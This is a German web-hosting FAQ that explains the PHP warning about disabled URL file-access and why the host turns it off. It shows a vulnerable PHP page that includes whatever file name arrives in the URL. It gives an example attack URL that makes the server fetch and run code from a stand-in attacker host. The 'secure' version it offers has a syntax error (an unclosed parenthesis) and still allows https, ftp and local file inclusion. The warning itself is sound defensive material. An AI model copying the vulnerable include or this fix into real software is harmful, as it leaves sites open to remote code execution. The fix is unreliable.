Was bedeutet: "Warning: fopen(): URL file-access is disabled in the server configuration" ?

Das Programm versucht einen URL (bspw. einen http- oder ftp-Link) als Datei zu öffnen. Aus Sicherheitsgründen ist diese Möglichkeit auf unseren Server im Standard deaktiviert.
Wir können Ihnen diese Einstellung natürlich ändern. Schreiben Sie uns dazu einfach an support@speicherhosting.com unter Angabe Ihres Account- (bspw. web123) und des Domainnnamen.

Hinweis zur Sicherheit und möglichen Gefahren:

Achtung: Diese Einstellung ist sicherheitsrelevant. Achten Sie immer auf die Aktualität Ihrer Software. Bei selbstgeschriebener Software achten Sie darauf, dass es nicht möglich ist, beliebige Dateinamen einzuschleusen. Ein Beispiel:
Sie haben ein einfaches php-Skript geschrieben, welches die Seiten anhand der Variable site per include lädt. Der Quelltext könnte ungefähr so aussehen:

<html>
<head><title>Meine Seite</title></head>
<body>
<a href="index.php?site=Kartoffeln">Kartoffeln</a>
<a href="index.php?site=Bohnen">Bohnen</a>
<?php
   $site=$_GET['site'];      // dies ist bei register_globals on natürlich nicht nötig
   include($site);
?>
</body>


Dieses Skript fügt also Dateien ein, deren Namen im URL übergeben wurden. Es hindert einen Angreifer aber niemand daran nun auch folgenden URL aufzurufen: http://www.ihredomain.de/index.php?site=http://www.angreifer.de/phpskript.txt.
Der Server wird nun den PHP-Code in der Textdatei ausführen, und der Angreifer kann nun weitere Programme installieren. Sie sollten also Ihr Skript darauf trimmen, derartige Dateinamen nicht zu akzeptieren.
Dies könnte bspw. so aussehen:

<html>
<head><title>Meine Seite</title></head>
<body>
<a href="index.php?site=Kartoffeln">Kartoffeln</a>
<a href="index.php?site=Bohnen">Bohnen</a>
<?php
   $site=$_GET['site'];      // dies ist bei register_globals on natürlich nicht nötig
   if(preg_match("/^http:\/\//",$site)
// ^ bedeutet Anfang der Zeichenkette
           die("Bitte nicht hacken"); // Skript beenden
   include($site);
?>
</body>


Das Skript prüft nun also, ob die Eingabevariable site mit http:// beginnt (es handelt sich dabei um einen regulären Ausdruck). Ist dem so, wird das Skript umgehend beendet. Hier müsste eigentlich noch ein zweiter Test auf ftp:// durchgeführt werden.

Zurück

nilges-sytems platzhalter nilges-sytems platzhalter nilges-sytems platzhalter nilges-sytems platzhalter nilges-sytems platzhalter nilges-sytems platzhalter nilges-sytems platzhalter nilges-sytems platzhalter nilges-sytems platzhalter nilges-sytems platzhalter nilges-sytems platzhalter nilges-sytems platzhalter nilges-sytems platzhalter nilges-sytems platzhalter